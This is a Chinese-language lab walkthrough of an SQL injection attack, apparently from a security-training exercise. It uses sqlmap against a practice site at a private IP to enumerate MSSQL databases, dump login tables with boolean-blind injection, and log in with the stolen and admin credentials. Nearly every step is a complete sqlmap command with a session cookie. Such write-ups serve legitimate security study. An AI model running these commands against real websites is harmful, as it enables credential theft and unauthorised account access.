MSSQL 隱碼攻擊
MSSQL 隱碼攻擊
攻擊目標主機 IP : 10.10.10.19
網頁 : http://10.10.10.19/moviescope
預設知道使用者帳號 sam 密碼 test
進入到查看個人 profile 頁面如下圖
重新;整理頁面後從 Request Header 中提取 cookie 值如下
mscope=1jWydNf8wro= (此為隨機值,不同 Session 有不同的值)
透過 SQLMAP 工具帶入 URL 與 Cookie 進行檢測
指令 : sqlmap -u "http://10.10.10.19/moviescope/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro="
可以看出檢測出後端可能是 MSSQL 以及 injectable
開始進行第一步列舉 DB 資料庫,於原有指令後加上 --dbs
指令 : sqlmap -u "http://10.10.10.19/moviescope/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro=" --dbs
本攻擊範例選定第四個資料庫 GoodShopping 進行下一步列舉
在選定要執行哪一個資料庫後參數使用 -D,接著就是列舉該資料庫中的 table,參數 --tables
指令 : sqlmap -u "http://10.10.10.19/moviescope/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro=" -D GoodShopping --tables
在選定要執行哪一個 table 後參數使用 -T,接著就是列舉該 table 的欄位,參數 --columns
指令 : sqlmap -u "http://10.10.10.19/moviescope/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro=" -D GoodShopping -T Login --columns
可以看到取回的資料無法直接顯示
此時可以在原有指令最後面加上 --technique=B
此為採用 Boolean-based blind SQL injection 以布林邏輯盲打列舉欄位與型別
指令 : sqlmap -u "http://10.10.10.19/moviescope/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro=" -D GoodShopping -T Login --columns --technique=B
此時就可以正常顯示如下三個欄位 loginid / password / username
接著就是傾印欄位資料,將原有的 --columns 改成 --dump
指令 : sqlmap -u "http://10.10.10.19/moviescope/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro=" -D GoodShopping -T Login --dump --technique=B
因為抓的資料庫是 GoodShopping 所以不是一開始的網站
透過這個方式只要該伺服器上的其中一個網站有漏洞,就可以抓到同一台伺服器上
其他網站的使用者資料與密碼,透過本次演練得到的帳號密碼試著登入購物網站
網址 : http://10.10.10.19/GoodShopping
確定可以成功登入
在原有的 moviescope 網站也可以執行相同手法,回到資料庫的列舉頁面可以看到
有另一個資料庫名稱為 moviescope,即為一開始漏洞使用的網站資料庫
列舉該資料庫的 table
指令 : sqlmap -u "http://10.10.10.19/moviescope/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro=" -D moviescope --tables
有興趣的是 User_Login 資料表
指令 : sqlmap -u "http://10.10.10.19/moviescope/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro=" -D moviescope -T User_Login --columns --technique=B
共有四個欄位 isAdmin / password / Uid / Uname
指令 : sqlmap -u "http://10.10.10.19/moviescope/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro=" -D moviescope -T User_Login --dump --technique=B\
原本的帳號 sam 即為 Admin,若不是的話這時候就可以順利拿到真正 Admin 的帳號密碼
一樣試著用帳號 john 進行登入試試看
成功登入,顯示 Profile 如下
留言
張貼留言